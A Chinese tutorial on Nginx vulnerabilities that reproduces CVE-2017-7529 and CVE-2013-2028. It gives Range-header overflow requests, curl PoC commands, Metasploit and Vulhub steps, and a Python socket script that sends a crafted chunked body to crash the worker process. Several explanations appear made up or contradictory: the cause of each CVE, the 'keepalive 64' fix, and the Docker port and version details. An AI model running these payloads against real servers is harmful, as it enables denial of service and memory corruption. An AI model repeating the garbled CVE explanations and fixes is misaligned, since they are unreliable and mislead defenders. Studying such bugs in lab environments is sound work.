0x01 Nginx简介
Nginx是一款高性能、高可靠性的Web服务器和反向代理服务器。它的设计目标是为了解决C10k问题,也就是在一个服务进程中处理成千上万的并发连接。
Nginx发展历程
- 2002年:Igor Sysoev开始编写Nginx
- 2004年:Nginx首次公开发布
- 2005年:Nginx成为俄罗斯最受欢迎的Web服务器之一
- 2008年:Nginx 0.6版发布,支持多进程模型
- 2011年:Nginx 1.0版发布,宣布正式进入稳定版阶段
- 2013年:Nginx成为全球最受欢迎的Web服务器之一,超越Apache
- 2015年:Nginx公司成立,推出商业版Nginx Plus
- 2019年:F5 Networks宣布收购Nginx公司,成为其子公司
Nginx的优点
- 高性能:Nginx采用事件驱动的异步非阻塞处理方式,能够支持更多的并发连接和更高的吞吐量。
- 轻量级:Nginx的核心代码非常精简,占用的资源少,启动速度快。
- 高可靠性:Nginx的设计具有很好的稳定性和容错能力,能够在高负载下稳定运行。
- 灵活性:Nginx支持模块化设计,可以通过添加不同的模块来实现不同的功能,比如反向代理、负载均衡、缓存、SSL等。
Nginx基本架构
Nginx的基本架构采用事件驱动的异步架构,它不同于传统的多线程或多进程模型,可以有效地利用系统资源并提高处理效率。Nginx的核心由Master进程和Worker进程组成,Master进程主要负责管理和监控Worker进程,而Worker进程则负责具体的请求处理。Nginx采用epoll、kqueue、select等多种I/O模型来处理并发请求,同时支持动态模块加载和灵活的配置,可以根据不同的需求进行灵活调整。
Nginx应用场景
- 作为Web服务器:Nginx可以作为静态文件服务器,处理静态文件的请求,同时也支持动态页面请求的反向代理。
- 作为反向代理服务器:Nginx可以将请求转发到不同的后端服务器,实现负载均衡和高可用性。
- 作为缓存服务器:Nginx可以将经常被请求的数据缓存起来,减轻后端服务器的压力,提高性能。
- 作为安全服务器:Nginx可以通过SSL协议实现加密通信,同时还可以通过HTTP Basic Auth等方式实现用户认证和访问控制。
Nginx相关漏洞类型
- 认证和授权漏洞:例如未正确验证用户身份、未授权访问、访问控制不当等问题。
- 输入验证漏洞:例如未正确过滤和验证用户输入的数据,导致注入攻击、跨站脚本攻击等安全问题。
- 安全配置漏洞:例如配置错误或不当的安全设置,如使用默认密码、禁用了重要的安全功能等。
- 逻辑漏洞:例如不正确的逻辑判断、缺少合适的错误处理等问题。
- 缓冲区溢出漏洞:例如未正确限制用户输入数据大小,导致溢出攻击等问题。
- 拒绝服务漏洞:例如攻击者利用Nginx的特定漏洞进行拒绝服务攻击,导致服务器崩溃或无法响应用户请求。
Nginx相关高危漏洞案例
- CVE-2013-2028:使用PUT或DELETE方法可导致任意文件覆盖漏洞。
- CVE-2013-4547:由于Nginx未正确处理不合法的HTTP头,攻击者可利用此漏洞进行拒绝服务攻击。
- CVE-2014-0133:由于Nginx未正确处理分块编码的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。
- CVE-2017-7529:由于Nginx未正确处理特定的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。
0x02 Nginx漏洞复现
Nginx缓存溢出漏洞(CVE-2017-7529)
原理
当Nginx处理大量请求时,会使用一个叫做ngx_http_upstream_t的结构体来保存上游服务器的信息。该结构体中有两个指针变量:peer和peers。peer指针用于指向当前的上游服务器,peers指针用于指向所有的上游服务器列表。在正常情况下,Nginx会通过peer指针访问上游服务器,但当peer指针为空时,Nginx会使用peers指针来访问上游服务器列表。当请求过多时,会导致缓存的peers列表溢出,攻击者可以通过恶意构造的请求利用该漏洞,导致Nginx崩溃或拒绝服务。
利用方式
攻击者可以通过构造大量的请求,使得Nginx缓存的peers列表溢出,然后发送恶意请求,利用缓存溢出漏洞进行攻击。攻击者可以发送如下请求,利用该漏洞导致服务拒绝攻击:
GET / HTTP/1.1 Host: example.com Range: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-
漏洞复现
以Metasploitable 3为例
- 下载Metasploitable 3的ISO文件,然后安装Metasploitable 3,可以参考官方文档进行安装和配置。
- 在Metasploit框架中,使用
msfconsole
命令启动Metasploit控制台。 - 输入以下命令:
use auxiliary/scanner/http/nginx_range_headerset RHOSTS [IP地址]run
- 这个模块将向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。如果目标主机存在该漏洞,将会收到一个有关漏洞的详细信息的输出。
以Vulhub为例
- 下载并安装Docker和Docker Compose,可以参考官方文档进行安装和配置。
- 启动环境
cd /vulhub-master/nginx/CVE-2017-7529 docker-compose up -d
该镜像已经安装了Nginx 1.10.3版本,并应用了CVE-2017-7529漏洞的修复补丁。
- 运行Nginx漏洞环境的Docker镜像:
docker run -d -p 80:80 vulhub/nginx:1.10.3-patched
。该命令将启动Nginx容器,并将容器的80端口映射到主机的8080端口,启动环境后访问8080
可见版本为 nginx/1.13.2
- 使用curl工具向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。具体命令如下:
javascriptCopy codecurl -H "Range:bytes=0-18446744073709551615" http://[IP地址]/
- 其中,
Range
头部的值是用来触发CVE-2017-7529漏洞的,该值中包含了一个较大的字节范围,可以导致Nginx服务器进程占用过高的内存资源。
如果目标主机存在CVE-2017-7529漏洞,则curl工具将收到一个HTTP响应,其中包含有关该漏洞的详细信息。否则,curl工具将返回一个正常的HTTP响应。
使用与利用
Poc
- 访问缓存文件拿到 Content-Length,以 /proxy/demo.png 为例:
$ curl -I http://127.0.0.1:8000/proxy/demo.png HTTP/1.1 200 OK Server: nginx/1.13.1 Date: Wed, 12 Jul 2017 15:57:57 GMT Content-Type: image/png Content-Length: 16585 Connection: keep-alive Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT ETag: W/"40c9-5543e4fad0d40" X-Proxy-Cache:: MISS Accept-Ranges: bytes
看到 Content-Length: 16585
, 找个比这个数大的值,例如 17208, 第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600
- 请求时设置 range 如下:
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
看到结果:
Poc 脚本
$ python poc.py http://127.0.0.1:8000/proxy/demo.png Vulnerable: http://127.0.0.1:8000/proxy/demo.png
工具链接
https://github.com/liusec/CVE-2017-7529
漏洞修复
在Nginx的配置文件中添加如下配置:
http { ... upstream backend { server backend1.example.com; server backend2.example.com; ... keepalive 64; # 修改缓存大小 } ... }
该配置将缓存大小限制在64个,防止攻击者通过构造大量请求导致缓存溢出。同时,Nginx还发布了相关的安全更新,建议及时升级。
Nginx解析URL存在缓存溢出漏洞(CVE-2013-2028)
原理
当Nginx接收到包含“%00”字符串的URI时,会将其存储在缓存中,以便在未来的请求中重新使用。但是,当攻击者向URI后面附加恶意代码时,缓存中的字符串长度可能会超出预期,从而导致缓存溢出。
这个漏洞的危害在于攻击者可以利用缓存溢出来执行任意代码,例如远程命令执行、拒绝服务攻击等。因此,如果您的Nginx服务器受到此漏洞的影响,那么攻击者可能会利用此漏洞来获取系统权限并执行各种恶意操作。
漏洞复现
1、静态分析
首先从patch来看 File: src/http/ngx_http_parse.c
data: ctx->state = state; b->pos = pos; ...省略 + if (ctx->size < 0 || ctx->length < 0) { + goto invalid; + }
往上回溯寻找goto data
调用的地方
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){ ...省略 state = ctx->state; for (pos = b->pos; pos < b->last; pos++) { switch (state) { ...省略 case sw_chunk_data: rc = NGX_OK; goto data; } } }
继续往上回溯寻找ngx_http_parse_chunked
函数调用处,这里有两处,我以ngx_http_discard_request_body_filter
作为分析
/src/http/ngx_http_request_body.c
static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){ size_t size; ngx_int_t rc; ngx_http_request_body_t *rb; if (r->headers_in.chunked) { rb = r->request_body; ...省略 for ( ;; ) { rc = ngx_http_parse_chunked(r, b, rb->chunked); if (rc == NGX_OK) { /* a chunk has been parsed successfully */ size = b->last - b->pos; if ((off_t) size > rb->chunked->size) { b->pos += rb->chunked->size; rb->chunked->size = 0; } else { rb->chunked->size -= size; b->pos = b->last; } continue; } if (rc == NGX_DONE) { /* a whole response has been parsed successfully */ r->headers_in.content_length_n = 0; break; } if (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r->headers_in.content_length_n = rb->chunked->length; break; } /* invalid */ ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "client sent invalid chunked body"); return NGX_HTTP_BAD_REQUEST; } } else { size = b->last - b->pos; if ((off_t) size > r->headers_in.content_length_n) { b->pos += r->headers_in.content_length_n; r->headers_in.content_length_n = 0; } else { b->pos = b->last; r->headers_in.content_length_n -= size; } } return NGX_OK; }
仔细发现这里面循环有一些rb->chunked->length
、rb->chunked->size
的操作
再往上回溯便是ngx_http_read_discarded_request_body
static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){ size_t size; ssize_t n; ngx_int_t rc; ngx_buf_t b; u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; ...省略 for ( ;; ) { ...省略 size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); ...省略 rc = ngx_http_discard_request_body_filter(r, &b); } }
在这里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096
,存在一个buffer
变量,其中长度最大为4096
。
然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1))
,看headers_in.content_length_n
的大小是多少,如果小于4096的话将会把它的值给size。
接下来就是使用recv接收数据,这里要注意recv函数
,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。
当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是headers_in.content_length_n
类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。
回到ngx_http_discard_request_body_filter
上一个函数看r->headers_in.chunked
条件中的NGX_AGAIN
情况
if (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r->headers_in.content_length_n = rb->chunked->length; break; }
如果NGX_AGAIN的话,r->headers_in.content_length_n
的值将会被第二次的rb->chunked->length
长度覆盖掉
继续往上找便是ngx_http_read_discarded_request_body
-> ngx_http_discarded_request_body_handler
-> ngx_http_discard_request_body
回顾上面nginx请求的流程,ngx_http_discard_request_body
便是进行了丢弃http包体处理,它被多个modules进行调用,默认nginx安装后,请求的是一个静态资源,也就是/src/http/modules/ngx_http_static_module.c
这个模块进行处理
再往上回溯步骤较多,可以通过gdb可以看看这个过程是如何调用到的
2、动态调试
编译安装nginx
./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module make && make install # 测试配置是否通过 ./nginx -t ./nginx
gdb调试
ps aux | grep nginx # 找到对应pid gdb # 进行调试
attach 14561 # 依附worker process stop b ngx_http_init_connection continue p *(struct ngx_http_request_s*)0x6d2070
回过头来看ngx_http_discard_request_body_filter
函数,其中有一个条件是if (r->headers_in.chunked)
static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){ ...省略 if (r->headers_in.transfer_encoding) { if (r->headers_in.transfer_encoding->value.len == 7 && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data, (u_char *) "chunked", 7) == 0) { r->headers_in.content_length = NULL; r->headers_in.content_length_n = -1; r->headers_in.chunked = 1; 」
设置头部为transfer-encoding: chunked
,并且post一些数据才能进入ngx_http_parse_chunked
GET / HTTP/1.1 Host: love.lemon:6969 transfer-encoding: chunked Content-Length: 7 616263
ngx_http_parse_chunked的开始state是sw_chunk_start,然后进入sw_chunk_size,也就是获取post过来的chunked数据,数据是16进制编码
case sw_chunk_size: if (ch >= '0' && ch <= '9') { ctx->size = ctx->size * 16 + (ch - '0'); break; } c = (u_char) (ch | 0x20); if (c >= 'a' && c <= 'f') { ctx->size = ctx->size * 16 + (c - 'a' + 10); break; }
最后ctx->size
将会把值给ctx->length
,这里要注意size和length都是off_t类型
case sw_chunk_size: ctx->length = 2 /* LF LF */ + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
这个时候可以返回到漏洞触发点处,r->headers_in.content_length_n
将会等于rb->chunked->length
,即headers_in.content_length_n
的长度是被我们所控的,现在就是需要看传入什么值才能够为负数
raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host) raw += 'f' * (1024 - len(raw) - 16) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('ip', port)) data1 = raw data1 += "f0000000" data1 += "00000060" + "\r\n" s.send(data1) s.send("B" * 6000) s.close()
这个要注意的是,nginx第一次接受到Http请求的时候,其中会接受1024长度,如果超过了它,便会进入NGX_AGAIN,然后会revc后面的数据。
可以看到传入f000000000000060
的时候,便可以覆盖了$rbp
,最终nginx: worker process
崩溃重启。
这里注意的一点是,在Ubuntu 14.04下测试的时候发现,recv函数原型: recv(r, buf, len, xxx),其中len如果过大,会直接返回0xffffffff,导致buffer没有被传入的数据覆盖。
Nginx性能优化
Nginx性能出色的原因之一是其优秀的设计和实现,但也需要根据实际情况进行一些性能优化。
例如,在处理大量并发连接和请求时,可以采用异步事件模型和多进程或多线程架构;
在缓存方面,可以采用合适的缓存策略和缓存机制,例如使用Memcached或Redis等缓存服务器;在网络方面,可以调整连接数和缓冲区大小,开启TCP优化,以提高网络传输效率和性能等。
参考文献
https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html